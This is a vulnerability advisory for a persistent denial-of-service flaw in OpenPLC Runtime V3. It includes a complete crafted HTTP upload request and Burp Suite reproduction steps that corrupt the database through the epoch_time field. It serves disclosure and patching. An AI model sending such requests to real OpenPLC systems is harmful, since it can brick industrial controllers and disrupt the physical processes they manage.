CVE-2025-34226: Persistent DoS in OpenPLC Runtime #
Vulnerability Overview #
| Field | Value |
|---|---|
| CVE ID | CVE-2025-34226 |
| Affects | OpenPLC Runtime V3 |
| Fixed in | commit 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| Severity | High |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N (7.1 - High) |
| CWE | CWE-664 (Improper Control of a Resource Through Its Lifetime), CWE-20 (Improper Input Validation) |
Executive Summary #
OpenPLC Runtime suffers from a persistent denial of service (DoS) vulnerability in the /upload-program-action endpoint. By modifying the epoch_time parameter during program upload, a low-privileged authenticated user can corrupt the backend database. This corruption initially disables critical pages and eventually prevents the entire runtime from starting, effectively bricking the application until it is reinstalled.
Security Impact #
- Persistent DoS – Once triggered, the system cannot recover without a full reinstall.
- Database Corruption – Exploit introduces invalid values into OpenPLC’s SQLite database, breaking the runtime state.
- Operational Disruption – In ICS/OT contexts, this could cause downtime of PLC-managed processes.
- Bypass of Validations – Exploit bypasses input validation, demonstrating lack of sanitization for critical parameters.
Technical Details #
Affected Versions #
- Vulnerable Versions: OpenPLC Runtime ≤ v3 (not latest version)
- Patched Version: remediated by commit 095ee09623dd229b64ad3a1db38a901a3772f6fc
Attack Vector #
The /upload-program-action endpoint accepts a field epoch_time that is written directly into the database without validation. When this field is set to a crafted or nonsensical value (e.g., 1758627838 or malformed data), OpenPLC stores an inconsistent state. At runtime reload or reboot, the application queries the corrupted row and encounters a NoneType object → fatal crash (TypeError: ‘NoneType’ object is not subscriptable).
Proof of Concept #
PoC: Malicious Upload Request with Burp Suite (Repeater) #
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--Reproduction Steps #
- Open Burp Suite
- Open Burp Suite browser
- Go to the OpenPLC interface
- Authenticate with a low-privileged account
- Upload a program via
/programs - Choose a random name
- Turn on Burp Suite proxy
- Send request to Repeater
- Edit
epoch_timesection and change it to a random character (e.g., “L” instead of the original epoch_time) - Send the new crafted request
- Observe
/programs- it will no longer work - When OpenPLC restarts, the runtime fails to launch and becomes impossible to restart without reinstallation
Immediate Actions #
- Upgrade immediately to the patched version (commit 095ee09623dd229b64ad3a1db38a901a3772f6fc or later)